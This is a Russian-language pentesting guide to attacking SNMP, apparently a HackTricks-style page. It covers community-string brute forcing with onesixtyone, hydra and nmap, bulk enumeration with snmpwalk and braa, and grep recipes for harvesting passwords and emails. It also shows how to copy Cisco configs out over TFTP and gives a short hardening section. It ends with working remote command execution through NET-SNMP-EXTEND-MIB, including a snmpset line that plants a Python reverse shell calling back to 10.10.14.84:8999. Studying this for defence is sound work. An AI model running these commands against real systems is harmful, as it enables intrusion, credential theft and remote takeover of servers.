Атаки на SNMP (Simple Network Management Protocol)
Базовая информация
SNMP (Simple Network Management Protocol) — протокол, который используют для мониторинга разных устройств в сети (роутеры, свитчи, принтеры, IoT и т.п.).
PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
Совет
SNMP также использует порт 162/UDP для traps.
Traps — это пакеты данных, которые сервер SNMP отправляет клиенту без явного запроса с его стороны.
MIB
Чтобы SNMP нормально работал между разными вендорами и разными связками клиент–сервер, придумали MIB (Management Information Base).
MIB — это независимый формат хранения информации об устройстве.
Фактически это текстовый файл, в котором все доступные для опроса SNMP-объекты конкретного устройства перечислены в виде стандартизированного древовидного дерева.
Каждый MIB содержит как минимум один Object Identifier (OID), который, кроме уникального адреса и имени, описывает:
Файлы MIB пишутся на основе ASN.1 (Abstract Syntax Notation One) в ASCII-тексте.
Сами MIB-файлы не содержат данных. Они описывают:
- где именно искать нужную информацию;
- какой тип данных там лежит;
- какие значения может возвращать конкретный OID.
OIDs
OIDs (Object Identifiers) — ключевой элемент. Это уникальные идентификаторы управляемых объектов внутри MIB.
Верхние уровни дерева OID выделены под разные стандартизирующие организации.
Именно там задаётся каркас общих стандартов и практик управления.
Дальше у вендоров есть свои частные ветки. В этих ветках производитель может:
- создавать свои объекты управления;
- описывать параметры, характерные именно для его железа и продуктов.
Так получается единая, но расширяемая система идентификации и управления объектами.
Навигировать по OID-дереву можно прямо в браузере, например:
- дерево: http://www.oid-info.com/cgi-bin/display?tree=#focus
- расшифровка конкретного OID (например,
1.3.6.1.2.1.1):
http://oid-info.com/get/1.3.6.1.2.1.1
Есть известные OID’ы, например ветка 1.3.6.1.2.1 — это MIB-2, где определены стандартные SNMP-переменные.
Из дочерних OID этой ветки можно получить кучу интересной информации о хосте: системные данные, сетевые интерфейсы, процессы и т.д.
Пример OID
1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3 . 21 . 1 . 4 . 7
1— ISO, признак того, что это вообще OID. Поэтому все OID начинаются с1.3— ORG, указывает организацию, связанную с объектом.6— dod (Department of Defense) — исторически организация, стоявшая у истоков Интернета.1— значение internet, то есть пространство имён Интернета.4— ветка, показывающая, что устройство относится к частной организации, а не государству.1— ветка enterprise, то есть объект принадлежит какому-то бизнесу или компании.
Эти первые шесть чисел почти всегда одинаковые и дают базовую информацию.
Дальше начинаются более конкретные данные.
1452— идентификатор организации-производителя устройства.1— тип устройства. В примере — будильник.2— признак того, что это remote terminal unit.
Остаток OID даёт уже совсем специфичную инфу:
5— дискретная точка тревоги;1— конкретная точка внутри устройства;3— порт;21— адрес порта;1— дисплей, связанный с портом;4— номер точки;7— состояние точки.
Версии SNMP
Из практических версий нас интересуют:
- SNMPv1
Самая старая и до сих пор очень распространённая.
Аутентификация — через строку (community string), которая передаётся в открытом виде, как и все данные.
SNMPv2 / v2c тоже передают всё в plain-text и используют community string. - SNMPv3
Использует более серьёзную схему аутентификации, а данные передаёт в зашифрованном виде.
Теоретически возможна словесная (dictionary) атака, но подобрать учётку гораздо сложнее, чем у v1/v2c.
Community Strings
Как уже было сказано, для доступа к данным MIB в SNMPv1 и v2/2c нужно знать community string, а в SNMPv3 — логин/пароль (и параметры безопасности).
Есть два основных типа community string:
Важно: возможность записи по конкретному OID зависит от использованной community string, поэтому даже если у вас есть только public,
вполне возможно, что некоторые значения всё же можно менять.
Плюс есть объекты, которые всегда только на чтение.
Если попытаться записать значение в объект, для которого это запрещено, вы получите ошибку noSuchName или readOnly.
В SNMP v1/v2/2c при неверной community string сервер просто не отвечает.
То есть если SNMP ответил — community string была валидной.
Порты
- Агент SNMP принимает запросы на UDP-порт 161.
- Менеджер получает уведомления (Traps и InformRequests) на порт 162.
- При использовании TLS или DTLS:
Брутфорс community string (v1 и v2c)
Чтобы подобрать community string, используется словарная атака.
Разные способы брутфорса SNMP описаны здесь:
https://book.hacktricks.wiki/en/generic-hacking/brute-force.html#snmp
Часто встречающаяся строка — public.
Перечисление SNMP
Чтобы понять, что означает каждый OID, имеет смысл подтянуть MIB-ы:
apt-get install snmp-mibs-downloader download-mibs # потом закомментировать строку "mibs :" в /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf
Дальше, зная корректную community string, можно ходить в SNMP с помощью snmpwalk / snmpbulkwalk или snmp-check:
# Массовый обход дерева (важна финальная точка!) snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . snmpbulkwalk -c public -v2c 10.10.11.136 . # Обычный обход snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] # Получить IPv6 (нужен dec2hex) snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] 1.3.6.1.2.1.4.34.1.3 # Расширенные объекты snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] NET-SNMP-EXTEND-MIB::nsExtendObjects # Полное перечисление snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] .1 # Быстрый аудит snmp-check [IP] -p [PORT] -c [COMM_STRING] # Nmap-скрипты nmap --script "snmp* and not snmp-brute" <target> # Брут конкретного диапазона OID braa <community string>@<IP>:.1.3.6.*
Благодаря extended-запросам (и загруженным MIB-ам) можно вытащить ещё больше системной информации:
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Через SNMP часто удаётся собрать очень много данных о хосте. Особенно интересны:
- сетевые интерфейсы (включая IPv6);
- имена пользователей;
- аптайм;
- версия ОС/сервера;
- запущенные процессы (иногда прямо с паролями в аргументах).
Опасные настройки
Некоторые параметры SNMP в контексте безопасности особенно критичны — они отвечают за доступ к полной OID-иерархии.
Настройки доступа
Есть две ключевые настройки, которые могут дать полный доступ ко всему OID-дереву:
rwuser noauth
Разрешает полное RW-доступ к дереву OID без аутентификации.
Прямой и очень опасный вариант.- Более точечный подход — через:
Обе команды требуют указать community string и IP-адрес (или маску).
Результат — полный доступ, независимо от источника запроса, если он подходит под правило.
SNMP-параметры для Microsoft Windows
Через SNMP на Windows можно мониторить разные вещи по конкретным MIB-значениям:
- Системные процессы —
1.3.6.1.2.1.25.1.6.0
Позволяет смотреть количество активных процессов. - Запущенные программы —
1.3.6.1.2.1.25.4.2.1.2 - Путь к процессу —
1.3.6.1.2.1.25.4.2.1.4 - Носители/хранилища —
1.3.6.1.2.1.25.2.3.1.4 - Имя установленного ПО —
1.3.6.1.2.1.25.6.3.1.2 - Учётные записи пользователей —
1.3.6.1.4.1.77.1.2.25 - Локальные TCP-порты —
1.3.6.1.2.1.6.13.1.3
Массовый SNMP-скан
Braa — массовый SNMP-сканер.
В отличие от snmpwalk из net-snmp, Braa может:
- опрашивать десятки и сотни хостов одновременно;
- работать одним процессом;
- потреблять очень мало ресурсов и сканировать очень быстро.
У Braa свой собственный SNMP-стек, поэтому ему не нужны внешние библиотеки.
braa [community]@[IP_SNMP_сервера]:[iso id] braa ignite123@192.168.1.125:.1.3.6.*
На выходе вы получите очень много данных (мегабайты), которые руками не разобрать.
Поэтому дальше выдираем самое интересное. Ниже — приёмчики из:
https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/
Устройства
Сначала определяем типы устройств с помощью sysDesc:
По файлам .snmp можно пройтись:
grep ".1.3.6.1.2.1.1.1.0" *.snmp
Поиск private-строки
Задача — найти private community string, особенно на Cisco IOS, чтобы:
Иногда нужные строки всплывают в trap-логах. Тогда ищем слово trap:
grep -i "trap" *.snmp
Usernames / Passwords
В MIB-таблицах могут лежать логи неуспешных логинов.
Иногда пользователи случайно забивают пароли в поле username — и это улетает в лог.
grep -i "login\|fail" *.snmp
Email-адреса
Извлечь email-ы можно через grep с regexp:
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Изменение значений SNMP
Для изменения значений можно использовать, например, NetScanTools.
Для этого нужно знать private community string.
Спуфинг
Если доступ к SNMP ограничен ACL и разрешены только определённые IP, можно:
- подделать (spoof) один из разрешённых адресов в UDP-пакетах,
- и параллельно снифать ответы, чтобы всё равно получить данные.
Проверка конфигов SNMP
Cisco SNMP
Тестирование Cisco-сетей
Протокол опирается на community strings — это по сути «пароли» в открытом виде, определяющие:
Классический (и до сих пор эффективный) вектор — подбор community string,
чтобы с анонимного уровня подняться до админского RW-доступа.
onesixtyone -c community_strings.txt -i targets.txt
# Nmap NSE nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 # Hydra hydra -P wordlist.txt -s 161 10.10.10.1 snmp
Дамп конфига через SNMP (CISCO-CONFIG-COPY-MIB)
Если у вас есть RW-community, можно слить running-config / startup-config
на TFTP/FTP-сервер без доступа к CLI, злоупотребляя MIB CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96).
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
Скрипт сам организует копирование и напечатает конфиг в stdout.
# Копируем running-config (4) на TFTP-сервер (1), row id = 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \
# protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \
# sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \
# destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \
# TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s "backup.cfg" \
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4
# rowStatus = createAndGo
Обрати внимание: row id одноразовый — повторное использование в течение ~5 минут даст inconsistentValue.
Когда конфиг уже лежит на TFTP-сервере, его можно:
- просмотреть на предмет паролей (
enable secret,username <user> secretи т.п.), - или даже подготовить модифицированный конфиг и залить его обратно.
Полезное в Metasploit
cisco_config_tftp— скачивает running/startup-config через TFTP, используя тот же MIB.snmp_enum— собирает инвентаризационные данные: информацию об устройстве, VLAN’ы, описания интерфейсов, ARP-таблицу и т.д.
use auxiliary/scanner/snmp/snmp_enum set RHOSTS 10.10.100.10 set COMMUNITY public run
Свежие уязвимости Cisco SNMP (2023–2025)
Следить за вендорскими advisory полезно, чтобы находить “0-day → n-day” возможности в рамках пентеста.
Год CVE Компонент Влияние 2025 CVE-2025-20174 SNMP subsystem Специальный пакет приводит к аутентифицированному DoS (reload) на IOS/IOS-XE (v1/v2c/v3). 2024 CVE-2024-20373 IPv4 ACL handling Некорректно настроенные extended ACL могут тихо проваливаться, позволяя неаутентифицированные SNMP-опросы при известной community/user. 2025 (без CVE пока) SNMPv3 restriction bypass Пользователь SNMPv3 может опрашивать устройство с адресов, которые должны быть запрещены.
Эксплуатация почти всегда требует:
Ещё один аргумент в пользу того, что брутфорс SNMP всё ещё актуален.
Hardening и детекция
- Обновиться до исправленной версии IOS/IOS-XE (см. advisory Cisco).
- Использовать SNMPv3 с
authPriv(SHA-256 + AES-256) вместо v1/v2c:snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass> - Привязать SNMP к management VRF и ограничить доступ standard IPv4 ACL
(отказаться от extended named ACL из-за CVE-2024-20373). - Отключить RW-community.
Если без них никак — жёстко ограничить по ACL и по views:snmp-server community <string> RW 99 view SysView - Мониторить:
- всплески UDP/161,
- неожиданные источники запросов (правила в SIEM).
- события
CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource— признак изменений конфига помимо стандартных каналов. - Включить логирование SNMPv3 и при необходимости задать:
snmp-server packetsize 1500чтобы уменьшить воздействие некоторых DoS-векторов.
Ссылки
- Cisco: How To Copy Configurations To and From Cisco Devices Using SNMP
- Cisco Security Advisory cisco-sa-snmp-uwBXfqww (CVE-2024-20373)
SNMP RCE
Если админ оставил SNMP по умолчанию и дал запись (rwcommunity), это можно использовать для удалённого выполнения команд на Linux-сервере.
Идея: злоумышленник злоупотребляет SNMP-расширениями (NET-SNMP-EXTEND-MIB), чтобы заставить агент выполнять команды при чтении OID.
Расширение сервиса дополнительными командами
Можно добавить новые команды в SNMP, создав строки в таблице nsExtendObjects.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 'nsExtendStatus."evilcommand"' = createAndGo \ 'nsExtendCommand."evilcommand"' = /bin/echo \ 'nsExtendArgs."evilcommand"' = 'hello world'
Инъекция команд для выполнения
Для запуска команды через NET-SNMP-EXTEND-MIB нужно:
Проверить, что команда записалась, можно через snmpwalk:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Запуск внедрённых команд
Особенность NET-SNMP-EXTEND-MIB — run-on-read():
Когда OID читают, команда выполняется.
То есть достаточно сделать snmpwalk по нужному объекту — и команда запустится.
Получение shell через SNMP
Есть готовый инструмент от mxrch:
https://github.com/mxrch/snmp-shell.git
sudo apt install snmp snmp-mibs-downloader rlwrap -y git clone https://github.com/mxrch/snmp-shell cd snmp-shell sudo python3 -m pip install -r requirements.txt
Альтернативный путь — сразу прописать reverse shell в SNMP:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 \ 'nsExtendStatus."command10"' = createAndGo \ 'nsExtendCommand."command10"' = /usr/bin/python3.6 \ 'nsExtendArgs."command10"' = \ '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
- на атакующей машине слушаем порт
8999, - делаем
snmpwalkпо нужному объекту, - при чтении OID срабатывает reverse shell, и мы получаем интерактивный
/bin/sh.